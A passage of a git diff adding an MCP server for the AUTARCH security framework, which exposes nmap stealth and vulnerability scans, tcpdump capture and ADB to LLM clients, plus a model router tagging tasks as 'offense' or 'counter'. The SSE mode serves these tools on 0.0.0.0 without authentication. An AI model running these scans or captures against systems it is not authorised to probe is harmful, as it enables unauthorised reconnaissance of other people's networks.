'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False},
|
||||
'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False},
|
||||
}
|
||||
})
|
||||
|
||||
# ── GeoIP Lookup ──
|
||||
tools.append({
|
||||
'name': 'geoip_lookup',
|
||||
'description': 'Look up geographic and network information for an IP address.',
|
||||
'params': {
|
||||
'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True},
|
||||
}
|
||||
})
|
||||
|
||||
# ── DNS Lookup ──
|
||||
tools.append({
|
||||
'name': 'dns_lookup',
|
||||
'description': 'Perform DNS lookups for a domain.',
|
||||
'params': {
|
||||
'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True},
|
||||
'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False},
|
||||
}
|
||||
})
|
||||
|
||||
# ── WHOIS ──
|
||||
tools.append({
|
||||
'name': 'whois_lookup',
|
||||
'description': 'Perform WHOIS lookup for a domain or IP.',
|
||||
'params': {
|
||||
'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True},
|
||||
}
|
||||
})
|
||||
|
||||
# ── Packet Capture ──
|
||||
tools.append({
|
||||
'name': 'packet_capture',
|
||||
'description': 'Capture network packets using tcpdump. Returns captured packet summary.',
|
||||
'params': {
|
||||
'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False},
|
||||
'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False},
|
||||
'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False},
|
||||
}
|
||||
})
|
||||
|
||||
# ── WireGuard Status ──
|
||||
tools.append({
|
||||
'name': 'wireguard_status',
|
||||
'description': 'Get WireGuard VPN tunnel status and peer information.',
|
||||
'params': {}
|
||||
})
|
||||
|
||||
# ── UPnP Status ──
|
||||
tools.append({
|
||||
'name': 'upnp_status',
|
||||
'description': 'Get UPnP port mapping status.',
|
||||
'params': {}
|
||||
})
|
||||
|
||||
# ── System Info ──
|
||||
tools.append({
|
||||
'name': 'system_info',
|
||||
'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.',
|
||||
'params': {}
|
||||
})
|
||||
|
||||
# ── LLM Chat ──
|
||||
tools.append({
|
||||
'name': 'llm_chat',
|
||||
'description': 'Send a message to the currently configured LLM backend and get a response.',
|
||||
'params': {
|
||||
'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True},
|
||||
'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False},
|
||||
}
|
||||
})
|
||||
|
||||
# ── Android Device Info ──
|
||||
tools.append({
|
||||
'name': 'android_devices',
|
||||
'description': 'List connected Android devices via ADB.',
|
||||
'params': {}
|
||||
})
|
||||
|
||||
# ── Config Get/Set ──
|
||||
tools.append({
|
||||
'name': 'config_get',
|
||||
'description': 'Get an AUTARCH configuration value.',
|
||||
'params': {
|
||||
'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True},
|
||||
'key': {'type': 'string', 'description': 'Config key', 'required': True},
|
||||
}
|
||||
})
|
||||
|
||||
return tools
|
||||
|
||||
|
||||
def execute_tool(name: str, arguments: dict) -> str:
|
||||
"""Execute an AUTARCH tool and return the result as a string."""
|
||||
config = get_config()
|
||||
|
||||
if name == 'nmap_scan':
|
||||
return _run_nmap(arguments, config)
|
||||
elif name == 'geoip_lookup':
|
||||
return _run_geoip(arguments)
|
||||
elif name == 'dns_lookup':
|
||||
return _run_dns(arguments)
|
||||
elif name == 'whois_lookup':
|
||||
return _run_whois(arguments)
|
||||
elif name == 'packet_capture':
|
||||
return _run_tcpdump(arguments)
|
||||
elif name == 'wireguard_status':
|
||||
return _run_wg_status(config)
|
||||
elif name == 'upnp_status':
|
||||
return _run_upnp_status(config)
|
||||
elif name == 'system_info':
|
||||
return _run_system_info()
|
||||
elif name == 'llm_chat':
|
||||
return _run_llm_chat(arguments, config)
|
||||
elif name == 'android_devices':
|
||||
return _run_adb_devices()
|
||||
elif name == 'config_get':
|
||||
return _run_config_get(arguments, config)
|
||||
else:
|
||||
return json.dumps({'error': f'Unknown tool: {name}'})
|
||||
|
||||
|
||||
def _run_nmap(args: dict, config) -> str:
|
||||
nmap = find_tool('nmap')
|
||||
if not nmap:
|
||||
return json.dumps({'error': 'nmap not found'})
|
||||
|
||||
target = args.get('target', '')
|
||||
if not target:
|
||||
return json.dumps({'error': 'target is required'})
|
||||
|
||||
cmd = [str(nmap)]
|
||||
scan_type = args.get('scan_type', 'quick')
|
||||
if scan_type == 'stealth':
|
||||
cmd.extend(['-sS', '-T2'])
|
||||
elif scan_type == 'full':
|
||||
cmd.extend(['-sV', '-sC', '-O'])
|
||||
elif scan_type == 'vuln':
|
||||
cmd.extend(['-sV', '--script=vuln'])
|
||||
else:
|
||||
cmd.extend(['-sV', '-T4'])
|
||||
|
||||
ports = args.get('ports', '')
|
||||
if ports:
|
||||
cmd.extend(['-p', ports])
|
||||
|
||||
cmd.append(target)
|
||||
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
return json.dumps({
|
||||
'stdout': result.stdout,
|
||||
'stderr': result.stderr,
|
||||
'exit_code': result.returncode
|
||||
})
|
||||
except subprocess.TimeoutExpired:
|
||||
return json.dumps({'error': 'Scan timed out after 120 seconds'})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_geoip(args: dict) -> str:
|
||||
ip = args.get('ip', '')
|
||||
if not ip:
|
||||
return json.dumps({'error': 'ip is required'})
|
||||
|
||||
try:
|
||||
import urllib.request
|
||||
url = f"http://ip-api.com/json/{ip}?fields=status,message,country,regionName,city,zip,lat,lon,timezone,isp,org,as,query"
|
||||
with urllib.request.urlopen(url, timeout=10) as resp:
|
||||
return resp.read().decode()
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_dns(args: dict) -> str:
|
||||
domain = args.get('domain', '')
|
||||
if not domain:
|
||||
return json.dumps({'error': 'domain is required'})
|
||||
|
||||
record_type = args.get('record_type', 'A')
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['dig', '+short', domain, record_type],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
records = [r for r in result.stdout.strip().split('\n') if r]
|
||||
return json.dumps({'domain': domain, 'type': record_type, 'records': records})
|
||||
except FileNotFoundError:
|
||||
# Fallback to socket for A records
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None)
|
||||
records = list(set(addr[4][0] for addr in ips))
|
||||
return json.dumps({'domain': domain, 'type': 'A', 'records': records})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_whois(args: dict) -> str:
|
||||
target = args.get('target', '')
|
||||
if not target:
|
||||
return json.dumps({'error': 'target is required'})
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['whois', target],
|
||||
capture_output=True, text=True, timeout=15
|
||||
)
|
||||
return json.dumps({'target': target, 'output': result.stdout[:4000]})
|
||||
except FileNotFoundError:
|
||||
return json.dumps({'error': 'whois command not found'})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_tcpdump(args: dict) -> str:
|
||||
tcpdump = find_tool('tcpdump')
|
||||
if not tcpdump:
|
||||
return json.dumps({'error': 'tcpdump not found'})
|
||||
|
||||
cmd = [str(tcpdump), '-n']
|
||||
iface = args.get('interface', '')
|
||||
if iface:
|
||||
cmd.extend(['-i', iface])
|
||||
|
||||
count = args.get('count', 10)
|
||||
cmd.extend(['-c', str(count)])
|
||||
|
||||
bpf_filter = args.get('filter', '')
|
||||
if bpf_filter:
|
||||
cmd.append(bpf_filter)
|
||||
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
||||
return json.dumps({
|
||||
'stdout': result.stdout,
|
||||
'stderr': result.stderr,
|
||||
'exit_code': result.returncode
|
||||
})
|
||||
except subprocess.TimeoutExpired:
|
||||
return json.dumps({'error': 'Capture timed out'})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_wg_status(config) -> str:
|
||||
wg = find_tool('wg')
|
||||
if not wg:
|
||||
return json.dumps({'error': 'wg not found'})
|
||||
|
||||
iface = config.get('wireguard', 'interface', 'wg0')
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[str(wg), 'show', iface],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
return json.dumps({
|
||||
'interface': iface,
|
||||
'output': result.stdout,
|
||||
'active': result.returncode == 0
|
||||
})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_upnp_status(config) -> str:
|
||||
upnpc = find_tool('upnpc')
|
||||
if not upnpc:
|
||||
return json.dumps({'error': 'upnpc not found'})
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[str(upnpc), '-l'],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
return json.dumps({
|
||||
'output': result.stdout,
|
||||
'exit_code': result.returncode
|
||||
})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_system_info() -> str:
|
||||
import platform
|
||||
|
||||
info = {
|
||||
'hostname': socket.gethostname(),
|
||||
'platform': platform.platform(),
|
||||
'python': platform.python_version(),
|
||||
'arch': platform.machine(),
|
||||
}
|
||||
|
||||
try:
|
||||
info['ip'] = socket.gethostbyname(socket.gethostname())
|
||||
except Exception:
|
||||
info['ip'] = '127.0.0.1'
|
||||
|
||||
try:
|
||||
with open('/proc/uptime') as f:
|
||||
uptime_secs = float(f.read().split()[0])
|
||||
days = int(uptime_secs // 86400)
|
||||
hours = int((uptime_secs % 86400) // 3600)
|
||||
info['uptime'] = f"{days}d {hours}h"
|
||||
except Exception:
|
||||
info['uptime'] = 'N/A'
|
||||
|
||||
# Tool availability
|
||||
tools = {}
|
||||
for tool in ['nmap', 'tshark', 'tcpdump', 'upnpc', 'wg', 'adb']:
|
||||
tools[tool] = find_tool(tool) is not None
|
||||
info['tools'] = tools
|
||||
|
||||
config = get_config()
|
||||
info['llm_backend'] = config.get('autarch', 'llm_backend', 'local')
|
||||
|
||||
return json.dumps(info)
|
||||
|
||||
|
||||
def _run_llm_chat(args: dict, config) -> str:
|
||||
message = args.get('message', '')
|
||||
if not message:
|
||||
return json.dumps({'error': 'message is required'})
|
||||
|
||||
try:
|
||||
from core.llm import get_llm, LLMError
|
||||
llm = get_llm()
|
||||
if not llm.is_loaded:
|
||||
llm.load_model()
|
||||
|
||||
system_prompt = args.get('system_prompt', None)
|
||||
response = llm.chat(message, system_prompt=system_prompt)
|
||||
return json.dumps({
|
||||
'response': response,
|
||||
'model': llm.model_name,
|
||||
'backend': config.get('autarch', 'llm_backend', 'local')
|
||||
})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_adb_devices() -> str:
|
||||
adb = find_tool('adb')
|
||||
if not adb:
|
||||
return json.dumps({'error': 'adb not found'})
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[str(adb), 'devices', '-l'],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
lines = result.stdout.strip().split('\n')[1:] # Skip header
|
||||
devices = []
|
||||
for line in lines:
|
||||
if line.strip():
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
dev = {'serial': parts[0], 'state': parts[1]}
|
||||
# Parse extra info
|
||||
for part in parts[2:]:
|
||||
if ':' in part:
|
||||
k, v = part.split(':', 1)
|
||||
dev[k] = v
|
||||
devices.append(dev)
|
||||
return json.dumps({'devices': devices})
|
||||
except Exception as e:
|
||||
return json.dumps({'error': str(e)})
|
||||
|
||||
|
||||
def _run_config_get(args: dict, config) -> str:
|
||||
section = args.get('section', '')
|
||||
key = args.get('key', '')
|
||||
if not section or not key:
|
||||
return json.dumps({'error': 'section and key are required'})
|
||||
|
||||
# Block sensitive keys
|
||||
if key.lower() in ('api_key', 'password', 'secret_key', 'token'):
|
||||
return json.dumps({'error': 'Cannot read sensitive configuration values'})
|
||||
|
||||
value = config.get(section, key, fallback='(not set)')
|
||||
return json.dumps({'section': section, 'key': key, 'value': value})
|
||||
|
||||
|
||||
def create_mcp_server():
|
||||
"""Create and return the FastMCP server instance."""
|
||||
from mcp.server.fastmcp import FastMCP
|
||||
|
||||
mcp = FastMCP("autarch", instructions="AUTARCH security framework tools")
|
||||
|
||||
# Register all tools
|
||||
tool_defs = get_autarch_tools()
|
||||
|
||||
@mcp.tool()
|
||||
def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str:
|
||||
"""Run an nmap network scan against a target. Returns scan results including open ports and services."""
|
||||
return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type})
|
||||
|
||||
@mcp.tool()
|
||||
def geoip_lookup(ip: str) -> str:
|
||||
"""Look up geographic and network information for an IP address."""
|
||||
return execute_tool('geoip_lookup', {'ip': ip})
|
||||
|
||||
@mcp.tool()
|
||||
def dns_lookup(domain: str, record_type: str = "A") -> str:
|
||||
"""Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types."""
|
||||
return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type})
|
||||
|
||||
@mcp.tool()
|
||||
def whois_lookup(target: str) -> str:
|
||||
"""Perform WHOIS lookup for a domain or IP address."""
|
||||
return execute_tool('whois_lookup', {'target': target})
|
||||
|
||||
@mcp.tool()
|
||||
def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str:
|
||||
"""Capture network packets using tcpdump. Returns captured packet summary."""
|
||||
return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter})
|
||||
|
||||
@mcp.tool()
|
||||
def wireguard_status() -> str:
|
||||
"""Get WireGuard VPN tunnel status and peer information."""
|
||||
return execute_tool('wireguard_status', {})
|
||||
|
||||
@mcp.tool()
|
||||
def upnp_status() -> str:
|
||||
"""Get UPnP port mapping status."""
|
||||
return execute_tool('upnp_status', {})
|
||||
|
||||
@mcp.tool()
|
||||
def system_info() -> str:
|
||||
"""Get AUTARCH system information: hostname, platform, uptime, tool availability."""
|
||||
return execute_tool('system_info', {})
|
||||
|
||||
@mcp.tool()
|
||||
def llm_chat(message: str, system_prompt: str = "") -> str:
|
||||
"""Send a message to the currently configured LLM backend and get a response."""
|
||||
args = {'message': message}
|
||||
if system_prompt:
|
||||
args['system_prompt'] = system_prompt
|
||||
return execute_tool('llm_chat', args)
|
||||
|
||||
@mcp.tool()
|
||||
def android_devices() -> str:
|
||||
"""List connected Android devices via ADB."""
|
||||
return execute_tool('android_devices', {})
|
||||
|
||||
@mcp.tool()
|
||||
def config_get(section: str, key: str) -> str:
|
||||
"""Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked."""
|
||||
return execute_tool('config_get', {'section': section, 'key': key})
|
||||
|
||||
return mcp
|
||||
|
||||
|
||||
def run_stdio():
|
||||
"""Run the MCP server in stdio mode (for Claude Desktop / Claude Code)."""
|
||||
mcp = create_mcp_server()
|
||||
mcp.run(transport='stdio')
|
||||
|
||||
|
||||
def run_sse(host: str = '0.0.0.0', port: int = 8081):
|
||||
"""Run the MCP server in SSE (Server-Sent Events) mode for web clients."""
|
||||
mcp = create_mcp_server()
|
||||
mcp.run(transport='sse', host=host, port=port)
|
||||
|
||||
|
||||
def get_mcp_config_snippet() -> str:
|
||||
"""Generate the JSON config snippet for Claude Desktop / Claude Code."""
|
||||
app_dir = get_app_dir()
|
||||
python = sys.executable
|
||||
|
||||
config = {
|
||||
"mcpServers": {
|
||||
"autarch": {
|
||||
"command": python,
|
||||
"args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"],
|
||||
"env": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
return json.dumps(config, indent=2)
|
||||
|
||||
|
||||
def get_server_status() -> dict:
|
||||
"""Check if the MCP server is running."""
|
||||
global _server_process
|
||||
if _server_process and _server_process.poll() is None:
|
||||
return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'}
|
||||
return {'running': False}
|
||||
|
||||
|
||||
def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict:
|
||||
"""Start the MCP SSE server in the background."""
|
||||
global _server_process
|
||||
|
||||
status = get_server_status()
|
||||
if status['running']:
|
||||
return {'ok': False, 'error': f'Already running (PID {status["pid"]})'}
|
||||
|
||||
python = sys.executable
|
||||
script = str(Path(__file__).resolve())
|
||||
|
||||
_server_process = subprocess.Popen(
|
||||
[python, script, '--sse', '--host', host, '--port', str(port)],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
|
||||
return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port}
|
||||
|
||||
|
||||
def stop_sse_server() -> dict:
|
||||
"""Stop the MCP SSE server."""
|
||||
global _server_process
|
||||
|
||||
status = get_server_status()
|
||||
if not status['running']:
|
||||
return {'ok': False, 'error': 'Not running'}
|
||||
|
||||
_server_process.terminate()
|
||||
try:
|
||||
_server_process.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
_server_process.kill()
|
||||
_server_process = None
|
||||
return {'ok': True}
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser(description='AUTARCH MCP Server')
|
||||
parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)')
|
||||
parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)')
|
||||
parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)')
|
||||
parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)')
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.sse:
|
||||
print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}")
|
||||
run_sse(host=args.host, port=args.port)
|
||||
else:
|
||||
# Default to stdio
|
||||
run_stdio()
|
||||
3049
core/menu.py
Normal file
3049
core/menu.py
Normal file
File diff suppressed because it is too large
Load Diff
305
core/model_router.py
Normal file
305
core/model_router.py
Normal file
@@ -0,0 +1,305 @@
|
||||
"""
|
||||
AUTARCH Model Router
|
||||
Manages concurrent SLM/LAM/SAM model instances for autonomous operation.
|
||||
|
||||
Model Tiers:
|
||||
SLM (Small Language Model) — Fast classification, routing, yes/no decisions
|
||||
SAM (Small Action Model) — Quick tool execution, simple automated responses
|
||||
LAM (Large Action Model) — Complex multi-step agent tasks, strategic planning
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import threading
|
||||
from typing import Optional, Dict, Any
|
||||
from enum import Enum
|
||||
|
||||
from .config import get_config
|
||||
|
||||
_logger = logging.getLogger('autarch.model_router')
|
||||
|
||||
|
||||
class ModelTier(Enum):
|
||||
SLM = 'slm'
|
||||
SAM = 'sam'
|
||||
LAM = 'lam'
|
||||
|
||||
|
||||
# Fallback chain: if a tier fails, try the next one
|
||||
_FALLBACK = {
|
||||
ModelTier.SLM: [ModelTier.SAM, ModelTier.LAM],
|
||||
ModelTier.SAM: [ModelTier.LAM],
|
||||
ModelTier.LAM: [],
|
||||
}
|
||||
|
||||
|
||||
class _TierConfigProxy:
|
||||
"""Proxies Config but overrides the backend section for a specific model tier.
|
||||
|
||||
When a tier says backend=local with model_path=X, this proxy makes the LLM
|
||||
class (which reads [llama]) see the tier's model_path/n_ctx/etc instead.
|
||||
"""
|
||||
|
||||
def __init__(self, base_config, tier_name: str):
|
||||
self._base = base_config
|
||||
self._tier = tier_name
|
||||
self._overrides: Dict[str, Dict[str, str]] = {}
|
||||
self._build_overrides()
|
||||
|
||||
def _build_overrides(self):
|
||||
backend = self._base.get(self._tier, 'backend', 'local')
|
||||
model_path = self._base.get(self._tier, 'model_path', '')
|
||||
n_ctx = self._base.get(self._tier, 'n_ctx', '2048')
|
||||
n_gpu_layers = self._base.get(self._tier, 'n_gpu_layers', '-1')
|
||||
n_threads = self._base.get(self._tier, 'n_threads', '4')
|
||||
|
||||
if backend == 'local':
|
||||
self._overrides['llama'] = {
|
||||
'model_path': model_path,
|
||||
'n_ctx': n_ctx,
|
||||
'n_gpu_layers': n_gpu_layers,
|
||||
'n_threads': n_threads,
|
||||
}
|
||||
elif backend == 'transformers':
|
||||
self._overrides['transformers'] = {
|
||||
'model_path': model_path,
|
||||
}
|
||||
# claude and huggingface are API-based — no path override needed
|
||||
|
||||
def get(self, section: str, key: str, fallback=None):
|
||||
overrides = self._overrides.get(section, {})
|
||||
if key in overrides:
|
||||
return overrides[key]
|
||||
return self._base.get(section, key, fallback)
|
||||
|
||||
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
|
||||
overrides = self._overrides.get(section, {})
|
||||
if key in overrides:
|
||||
try:
|
||||
return int(overrides[key])
|
||||
except (ValueError, TypeError):
|
||||
return fallback
|
||||
return self._base.get_int(section, key, fallback)
|
||||
|
||||
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
|
||||
overrides = self._overrides.get(section, {})
|
||||
if key in overrides:
|
||||
try:
|
||||
return float(overrides[key])
|
||||
except (ValueError, TypeError):
|
||||
return fallback
|
||||
return self._base.get_float(section, key, fallback)
|
||||
|
||||
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
|
||||
overrides = self._overrides.get(section, {})
|
||||
if key in overrides:
|
||||
val = str(overrides[key]).lower()
|
||||
return val in ('true', '1', 'yes', 'on')
|
||||
return self._base.get_bool(section, key, fallback)
|
||||
|
||||
# Delegate all settings getters to base (they call self.get internally)
|
||||
def get_llama_settings(self) -> dict:
|
||||
from .config import Config
|
||||
return Config.get_llama_settings(self)
|
||||
|
||||
def get_transformers_settings(self) -> dict:
|
||||
from .config import Config
|
||||
return Config.get_transformers_settings(self)
|
||||
|
||||
def get_claude_settings(self) -> dict:
|
||||
return self._base.get_claude_settings()
|
||||
|
||||
def get_huggingface_settings(self) -> dict:
|
||||
return self._base.get_huggingface_settings()
|
||||
|
||||
|
||||
class ModelRouter:
|
||||
"""Manages up to 3 concurrent LLM instances (SLM, SAM, LAM).
|
||||
|
||||
Each tier can use a different backend (local GGUF, transformers, Claude API,
|
||||
HuggingFace). The router handles loading, unloading, fallback, and thread-safe
|
||||
access.
|
||||
"""
|
||||
|
||||
def __init__(self, config=None):
|
||||
self.config = config or get_config()
|
||||
self._instances: Dict[ModelTier, Any] = {}
|
||||
self._locks: Dict[ModelTier, threading.Lock] = {
|
||||
tier: threading.Lock() for tier in ModelTier
|
||||
}
|
||||
self._load_lock = threading.Lock()
|
||||
|
||||
@property
|
||||
def status(self) -> Dict[str, dict]:
|
||||
"""Return load status of all tiers."""
|
||||
result = {}
|
||||
for tier in ModelTier:
|
||||
inst = self._instances.get(tier)
|
||||
settings = self.config.get_tier_settings(tier.value)
|
||||
result[tier.value] = {
|
||||
'loaded': inst is not None and inst.is_loaded,
|
||||
'model_name': inst.model_name if inst and inst.is_loaded else None,
|
||||
'backend': settings['backend'],
|
||||
'enabled': settings['enabled'],
|
||||
'model_path': settings['model_path'],
|
||||
}
|
||||
return result
|
||||
|
||||
def load_tier(self, tier: ModelTier, verbose: bool = False) -> bool:
|
||||
"""Load a single tier's model. Thread-safe."""
|
||||
settings = self.config.get_tier_settings(tier.value)
|
||||
|
||||
if not settings['enabled']:
|
||||
_logger.info(f"[Router] Tier {tier.value} is disabled, skipping")
|
||||
return False
|
||||
|
||||
if not settings['model_path'] and settings['backend'] == 'local':
|
||||
_logger.warning(f"[Router] No model_path configured for {tier.value}")
|
||||
return False
|
||||
|
||||
with self._load_lock:
|
||||
# Unload existing if any
|
||||
if tier in self._instances:
|
||||
self.unload_tier(tier)
|
||||
|
||||
try:
|
||||
inst = self._create_instance(tier, verbose)
|
||||
self._instances[tier] = inst
|
||||
_logger.info(f"[Router] Loaded {tier.value}: {inst.model_name}")
|
||||
return True
|
||||
except Exception as e:
|
||||
_logger.error(f"[Router] Failed to load {tier.value}: {e}")
|
||||
return False
|
||||
|
||||
def unload_tier(self, tier: ModelTier):
|
||||
"""Unload a tier's model and free resources."""
|
||||
inst = self._instances.pop(tier, None)
|
||||
if inst:
|
||||
try:
|
||||
inst.unload_model()
|
||||
_logger.info(f"[Router] Unloaded {tier.value}")
|
||||
except Exception as e:
|
||||
_logger.error(f"[Router] Error unloading {tier.value}: {e}")
|
||||
|
||||
def load_all(self, verbose: bool = False) -> Dict[str, bool]:
|
||||
"""Load all enabled tiers. Returns {tier_name: success}."""
|
||||
results = {}
|
||||
for tier in ModelTier:
|
||||
results[tier.value] = self.load_tier(tier, verbose)
|
||||
return results
|
||||
|
||||
def unload_all(self):
|
||||
"""Unload all tiers."""
|
||||
for tier in list(self._instances.keys()):
|
||||
self.unload_tier(tier)
|
||||
|
||||
def get_instance(self, tier: ModelTier):
|
||||
"""Get the LLM instance for a tier (may be None if not loaded)."""
|
||||
return self._instances.get(tier)
|
||||
|
||||
def is_tier_loaded(self, tier: ModelTier) -> bool:
|
||||
"""Check if a tier has a loaded model."""
|
||||
inst = self._instances.get(tier)
|
||||
return inst is not None and inst.is_loaded
|
||||
|
||||
def classify(self, text: str) -> Dict[str, Any]:
|
||||
"""Use SLM to classify/triage an event or task.
|
||||
|
||||
Returns: {'tier': 'sam'|'lam', 'category': str, 'urgency': str, 'reasoning': str}
|
||||
|
||||
Falls back to SAM tier if SLM is not loaded.
|
||||
"""
|
||||
classify_prompt = f"""Classify this event/task for autonomous handling.
|
||||
Respond with ONLY a JSON object, no other text:
|
||||
{{"tier": "sam" or "lam", "category": "defense|offense|counter|analyze|osint|simulate", "urgency": "high|medium|low", "reasoning": "brief explanation"}}
|
||||
|
||||
Event: {text}"""
|
||||
|
||||
# Try SLM first, then fallback
|
||||
for tier in [ModelTier.SLM, ModelTier.SAM, ModelTier.LAM]:
|
||||
inst = self._instances.get(tier)
|
||||
if inst and inst.is_loaded:
|
||||
try:
|
||||
with self._locks[tier]:
|
||||
response = inst.generate(classify_prompt, max_tokens=200, temperature=0.1)
|
||||
# Parse JSON from response
|
||||
response = response.strip()
|
||||
# Find JSON in response
|
||||
start = response.find('{')
|
||||
end = response.rfind('}')
|
||||
if start >= 0 and end > start:
|
||||
return json.loads(response[start:end + 1])
|
||||
except Exception as e:
|
||||
_logger.warning(f"[Router] Classification failed on {tier.value}: {e}")
|
||||
continue
|
||||
|
||||
# Default if all tiers fail
|
||||
return {'tier': 'sam', 'category': 'defense', 'urgency': 'medium',
|
||||
'reasoning': 'Default classification (no model available)'}
|
||||
|
||||
def generate(self, tier: ModelTier, prompt: str, **kwargs) -> str:
|
||||
"""Generate with a specific tier, falling back to higher tiers on failure.
|
||||
|
||||
Fallback chain: SLM -> SAM -> LAM, SAM -> LAM
|
||||
"""
|
||||
chain = [tier] + _FALLBACK.get(tier, [])
|
||||
|
||||
for t in chain:
|
||||
inst = self._instances.get(t)
|
||||
if inst and inst.is_loaded:
|
||||
try:
|
||||
with self._locks[t]:
|
||||
return inst.generate(prompt, **kwargs)
|
||||
except Exception as e:
|
||||
_logger.warning(f"[Router] Generate failed on {t.value}: {e}")
|
||||
continue
|
||||
|
||||
from .llm import LLMError
|
||||
raise LLMError(f"All tiers exhausted for generation (started at {tier.value})")
|
||||
|
||||
def _create_instance(self, tier: ModelTier, verbose: bool = False):
|
||||
"""Create an LLM instance from tier config."""
|
||||
from .llm import LLM, TransformersLLM, ClaudeLLM, HuggingFaceLLM
|
||||
|
||||
section = tier.value
|
||||
backend = self.config.get(section, 'backend', 'local')
|
||||
proxy = _TierConfigProxy(self.config, section)
|
||||
|
||||
if verbose:
|
||||
model_path = self.config.get(section, 'model_path', '')
|
||||
_logger.info(f"[Router] Creating {tier.value} instance: backend={backend}, model={model_path}")
|
||||
|
||||
if backend == 'local':
|
||||
inst = LLM(proxy)
|
||||
elif backend == 'transformers':
|
||||
inst = TransformersLLM(proxy)
|
||||
elif backend == 'claude':
|
||||
inst = ClaudeLLM(proxy)
|
||||
elif backend == 'huggingface':
|
||||
inst = HuggingFaceLLM(proxy)
|
||||
else:
|
||||
from .llm import LLMError
|
||||
raise LLMError(f"Unknown backend '{backend}' for tier {tier.value}")
|
||||
|
||||
inst.load_model(verbose=verbose)
|
||||
return inst
|
||||
|
||||
|
||||
# Singleton
|
||||
_router_instance = None
|
||||
|
||||
|
||||
def get_model_router() -> ModelRouter:
|
||||
"""Get the global ModelRouter instance."""
|
||||
global _router_instance
|
||||
if _router_instance is None:
|
||||
_router_instance = ModelRouter()
|
||||
return _router_instance
|
||||
|
||||
|
||||
def reset_model_router():
|
||||
"""Reset the global ModelRouter (unloads all models)."""
|
||||
global _router_instance
|
||||
if _router_instance is not None:
|
||||
_router_instance.unload_all()
|
||||
_router_instance = None
|
||||
239
core/module_crypto.py
Normal file
239
core/module_crypto.py
Normal file
@@ -0,0 +1,239 @@
|
||||
"""
|
||||
AUTARCH Encrypted Module Cryptography
|
||||
AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation
|
||||
and SHA-512 integrity verification.
|
||||
|
||||
File format (.autarch):
|
||||
Offset Size Field
|
||||
────── ──── ─────────────────────────────────────────────────────
|
||||
0 4 Magic: b'ATCH'
|
||||
4 1 Version: 0x01
|
||||
5 32 PBKDF2 salt
|
||||
37 16 AES IV
|
||||
53 64 SHA-512 hash of plaintext (integrity check)
|
||||
117 2 Metadata JSON length (uint16 LE)
|
||||
